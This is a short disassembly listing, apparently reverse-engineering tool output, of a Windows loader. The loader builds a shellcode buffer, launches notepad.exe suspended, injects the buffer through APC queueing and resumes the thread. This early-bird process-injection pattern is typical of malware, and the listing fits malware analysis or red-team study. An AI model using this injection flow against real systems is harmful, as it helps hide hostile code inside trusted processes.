lea r9, [rsp + 0x38]
lea r8, [rsp + 0x30]
call sym.build_sc
lea rcx, str.C:WindowsSystem32_notepad.exe
lea rdx, [rsp + 0x2c]
call sym.CreateSuspendedProcess
test eax, eax
je 0x14000372e
mov rbx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
mov r9d, 0x120
lea r8, [0x14000a0a0]
mov rcx, rbx
call sym.RunViaApcInjection
test eax, eax
je 0x14000373f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
lea rcx, str.Done
call sym.printf
xor eax, eax
add rsp, 0x40
pop rbx
ret
lea rcx, str.____CreateSuspendedProcess_Failed
call sym.puts
or eax, 0xffffffff
jmp 0x140003728
lea rcx, str.____RunViaApcInjection_Failed
call sym.puts
jmp 0x14000373a